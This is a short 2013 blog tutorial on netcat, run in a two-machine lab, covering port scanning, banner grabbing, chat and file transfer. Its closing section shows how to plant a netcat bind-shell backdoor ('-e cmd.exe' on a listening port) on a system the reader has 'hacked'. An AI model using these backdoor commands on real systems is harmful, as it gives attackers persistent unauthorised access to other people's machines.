Thursday, April 11, 2013

NETCAT Tutorial





Netcat is a simple Unix utility which reads and writes data across network connections, using TCP or UDP protocol.

It is designed to be a reliable "back-end" tool that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and exploration tool, since it can create almost any kind of connection you would need and has several interesting built-in capabilities.

Netcat  is the tcp/ip "Swiss Army knife".
Netcat is devloped not  for the back door purpose but unfortunately it is using for backdoor .
Net cat is a powerful tool ,it is a simple tool but can do many things 

It can be used as an 

Honeypot
Remote Administration
Chatting Purpose
Port Redirection
Sniffer
Creation of Backdoor
File Transfer and 
Banner Grabbing and many more.

I will be discussing some of the options

LAB:

Windows XP 192.168.142.128
Kali Linux      192.168.142.129

netcat is by default available in Linux Box

nc(netcat) as an Port Scanning Tool

Now i am Scanning XP machine by using nc

nc -v -w 2 -z

nc -v -w 2 -z 192.168.142.128


nc as an Banner Grabbing Tool

nc -v -n


Opening a port and using nc for chatting

nc -lvp 1234

l - listen
v - verbose
p - port number

i am trying to open a port number 1234

in XP Machine type command

nc -lvp 1234

in KALI linux type command

nc

nc 192.168.142.128 1234

and you can start chat


Transferring files using NETCAT

I am having one file in windows machine "hello.txt"

xp machine: nc -lvp 1234 < hello.txt

In Kali linux

I created a blank file "test.txt"

nc > test.txt

nc 192.168.142.128 1234 > test.txt



Netcat as an backdoor

Let us think we hacked a system and we want to create backdoor for remote administration purpose at that time netcat is very much useful

Upload netcat in remote system and run the following command now it will give command prompt to you

nc -L -p 1234 -d -e cmd.exe 

In XP machine : nc -lvp 1234 -e cmd.exe

in Kali : nc 192.168.142.128 1234

you will get command prompt



Thank you


0 comments: